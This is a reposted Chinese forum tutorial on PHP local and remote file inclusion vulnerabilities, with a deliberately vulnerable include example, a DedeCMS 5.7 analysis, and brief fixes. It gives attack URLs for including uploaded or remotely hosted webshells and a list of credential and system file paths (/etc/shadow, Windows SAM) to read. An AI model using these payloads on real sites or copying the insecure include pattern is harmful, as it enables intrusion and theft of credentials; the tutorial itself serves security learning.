Web安全之走进文件包含的世界

来源：http://bbs.ichunqiu.com/thread-9817-1-1.html?from=ch

社区：i春秋

时间：2016年8月9日22:42:00

作者：LoneliNess

前言

俗话说：“知己知彼，方能百战不殆”，今天，小编就带着你们走进文件包含的世界，去进一步的了解它，深入它……………….如有错误，请你雅正！！

第一节初识文件包含漏洞

· 1.1、什么是包含

· 1.2、文件包含漏洞是怎样产生的

· 1.3、文件包含漏洞的分类

第二节详解PHP文件包含漏洞

· 1.4、解析PHP文件包含

· 1.5、文件包含实例及漏洞分析

· 1.6、常见的几种攻击手法

· 1.7、修复方案

第三节严正声明

正文

第一节初识文件包含漏洞

1.1、什么是包含

程序猿常常把可以重复利用的函数写到单文件中，在使用一些函数时，直接调用，无须再次编写，这种过程呢，就称为包含

1.2、文件包含漏洞是怎样产生的

程序猿为了让代码更灵活，会设置一些变量，用来动态调用，由于这种灵活，使客户端阔以调用一个恶意的文件，从而造成文件包含漏洞

1.3、文件包含漏洞的分类

文件包含漏分为本地文件包含(Local File Inclusion)程文件包含(Remote FileInclusion)

第二节文件包含漏洞实例及常见的几种攻击手法

1.4、解析文件包含

PHP文件包含漏洞涉及到的危险函数：

include(),require()和include_once(),require_once()

以上这些函数都阔以进行文件包含，但作用不同，区别如下：

Include:包含并运行指定文件，当包含外部文件发生错误时，系统给出警告，但整个php文件继续执行。

Require:找不到包含文件产生致命错误，并停止脚本

Include_once:这个函数跟include函数作用几乎相同，只是他在导入函数之前先检测下该文件是否被导入。如果已经执行一遍那么就不重复执行了。

Require_once:这个函数跟require的区别跟上面我所讲的include和include_once是一样的。所以我就不重复了。

1.5、文件包含实例及漏洞分析

1）文件包含实例

本次测试，服务器环境为：

PHP 5.3.29

Mysql 5.0.8

Apache 2.4.18

1 本地文件包含（LFI）

小编写了一个test.php文件

[AppleScript]纯文本查看复制代码

if(isset($_GET['file'])){

$file=$_GET['file'];

include $file;}

然后在写包含了一个phpinfo.txt进入文件内容是符合PHP语法的代码

[AppleScript]纯文本查看复制代码

phpinfo();

之后的效果如图所示

2 远程文件包含（RFI）

小编在这里须强调的是远程文件包含，必须要确定PHP开启了远程包含功能选项，开启此功能须在PHP.ini配置文件中修改，成功后重启服务器生效

即allow_url_include=on

实例如下：

www.xxxcom目录下存在1.txt，代码如下(PS:没有丝毫骂蛋总的意思)：

[AppleScript]纯文本查看复制代码

echo"yyyxy is a bad man"

在test.php中代码如下：

[AppleScript]纯文本查看复制代码

if(isset($_GET['file'])){

$file=$_GET['file'];

include $file;}

访问url：http://www.xxxcom/test.php?file=http://localhost/1.txt

2）漏洞实例分析

就拿Dedecms5.7 来讲解吧（PS:想听更好的讲解可以去i春秋官网学习）

i春秋文件包含课程讲解地址：http://www.ichunqiu.com/course/51575

广告打得有点生硬，第一次，不好意思……..

这个漏洞主要由两个原因引起的，其中最重要的一个原因，便是开发者没有认识到Apache服务器解析文件的流程，从而导致安

装文件在安装后居然可以被继续访问。这里接单解释下Apache解析文件的流程：

当Apache检测到一个文件有多个扩展名时，如1.php.bak，会从右向左判断，直到有一个Apache认识的扩展名。如果所有的扩展名Apache都不认识，那么变会按照httpd.conf配置中所指定的方式展示这个问题，一般默认情况下是“text/plain”这种方式。

那么这样的话，像1.php.bak这样的文件名就会被当做php文件所解析。这也就是传说中的Apache解析漏洞。

问题出在这里install/index.php.bak

[AppleScript]纯文本查看复制代码

16[php]

else if($step==11)

{

require_once(‘../data/admin/config_update.php’);

$rmurl=$updateHost.”dedecms/demodata.{$s_lang}.txt”;

echo $rmurl;

$sql_content=file_get_contents($rmurl);

$fp=fopen($install_demo_name,’w’);

if(fwrite($fp,$sql_content))

echo ‘ [√] 存在(您可以选择安装进行体验)’;

else

echo ‘ [×] 远程获取失败’;

unset($sql_content);

fclose($fp);

exit();

[/php]

了解Dedecms参数机制的同学都知道，代码中的一些变量我们是可以通过GET参数的方式进行操控的。那么上面代码很明显，可以向指定的文件内写入任意内容，从而导致获取webshell

如果想听更详细的讲解请到http://www.ichunqiu.com/course/51575

1.6、常见的几种攻击手法

1）本地包含配合上传拿shell

大多数网站都会有上传功能，上传个图片，假设已上传图片一句话木马，路径为xxx/1.jpg，访问http://www.xxx.com/index.php?file=./xxx/1.jpg

2）远程包含拿shell

这种应该非常少见了吧，目标主机必须保证allow_url_include=on情况，在http://***.com/根目录下有一个一句话木马的txt，访问http://www.xxx.com/index.php?file=http://***.com/muma.txt

3）读取敏感信息

访问url：http://www.xxx.com/index.php?file=/etc/my.conf

如果存在本文件，他会读出文件的内容……..反之

常见的敏感信息路径

Windows系统

c:\boot.ini // 查看系统版本

c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件

c:\windows\repair\sam // 存储Windows系统初次安装的密码

c:\ProgramFiles\mysql\my,ini // MySQL配置

c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root

c:\windows\php.ini // php 配置信息

c:\windows\my.ini // MySQL 配置文件

......

Linux/Unix系统

/etc/passwd // 账户信息

/etc/shadow // 账户密码文件

/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件

/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置

/usr/local/app/php5/lib/php.ini // PHP相关配置

/etc/httpd/conf/httpd.conf // Apache配置文件

/etc/my.conf // mysql 配置文件

1.7、修复方案

限制路径，禁止跳转字符，如：../

把需要包含的页面固定写好，如：include(“test.php”）

第三节严正声明

本文讨论的技术仅用于研究学习技术交流，严禁用于非法行为和破坏行为，否则造成的一切法律责任与作者以及本网站无关。

本文原创作者:LoneliNess，转载须注明来自i春秋社区（BBS.ichunqiu.com）

结束语：

I春秋，你值得拥有！！不忘初心，方得始终！！！

Web安全之走进文件包含的世界

你可能感兴趣的:(Web安全之走进文件包含的世界)